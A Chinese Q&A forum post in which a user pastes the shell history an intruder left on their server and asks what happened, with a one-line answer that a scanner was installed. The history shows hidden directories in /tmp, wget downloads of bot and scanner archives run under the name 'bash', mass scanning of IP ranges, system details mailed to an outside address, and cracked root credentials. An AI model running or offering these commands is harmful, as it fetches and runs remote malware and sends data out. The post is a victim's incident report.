我的被干啥了?

Question

以下是记录
ls
cd mail/
ls
cd /home/
cd mail/
ls
cd hr
cd franksun/
exit
sudo /bin/mount
w
exit
sudo /bin/mount
exit
sudo /bin/mount
exit
sudo mount
exit
sudo /bin/mount
sudo /bin/mount /dev
vi /etc/sudoers
sudo –l3
su - root
su - root
sudo - l
sudo /bin/mount /dev
ls
su - xiaohp
exit
pwd
cd ..
exit
w
uname -a
passwd
history
/sbin/ifconfig |grep inet
cat /proc/cpuinfo
cd /t,p
cd /tmp
mkdir " "
cd " "
wget zeiteam.xhost.ro/boti/zeiteam2.tgz;tar zxf zeiteam2.tgz;cd .bot;mv ./linux bashATH=.PATH;bash
exit
w
pswd
passwd
history
cat /proc/cpuinfo
cd /tmp
mkdir "   "
cd "   "
wget myliftclub.com/xxxz.gz;tar zxf xxxz.gz;cd x;mv ./go bashATH=.PATH
wget www.bodylanguage.uv.ro/cobra2006.tar.tar
tar zxvf cobra2006.tar.tar;cd a; mv ./scan bashATH=.PATH
bas h87.249
bash 87.249
bash 87.250
bash 87.251
bash 69.65
bash 217.156
bash 217.157
bash 217.158
bash 217.159
bash 217
bash 217.159
w
who
passwd
cat /proccpuinfo
cat /proc/cpuinfo
/sbin/ifconfig |grep inet
cat /proc/cpuinfo
cat /etc/issue
cat /etc/issue | mail bodolik@yahoo.com -s 'pua'
cd /var/tmp
ls
mkdir ." "
cd ." "
ls
wget www.piata.trei.ro/linuxteam.tar.gz
tar zxvf linuxteam.tar.gz
cd scan
./a 67.94
cd /var/tmp/." "/scan
ls
cd ..
rm -rf scan
tar zxv linuxteam.tar.gz
tar zxvf linuxteam.tar.gz
cd scan
./a 67.94
cd ..
rm -rf scan
rm -rf linuxteam.tar.gz
ftp 67.94.125.130
tar zxvf webmin.tar.gz
cd webmin
ls
pico crack
nan crack
nano crack
./mass 75
./screen
wget trades.1gb.at/altele/screen.tgz
tar xvf screen.tgz
chmod +x screen
./screen
cd ..
ls
ftp 67.94.125.130
tar zxvf bodo-mech.tar.gz
cd bodo
mv linux bash
PATH='.'
bash
passwd
ls
cd /var/tmp
ls
cd ." "
ls
cd webmin
./screen -r

其中一份邮件记录

收件人 bodolik@yahoo.com<bodolik@yahoo.com>

./208.0.224.114
root:revolution:0:0:root:/root:/bin/bash
root:revolution:0:0:root:/root:/bin/bash

2 password hashes cracked, 4 left
-------------------------------------
./208.0.205.18
0 password hashes cracked, 0 left

Answer 1

在里机器里上了个扫描工具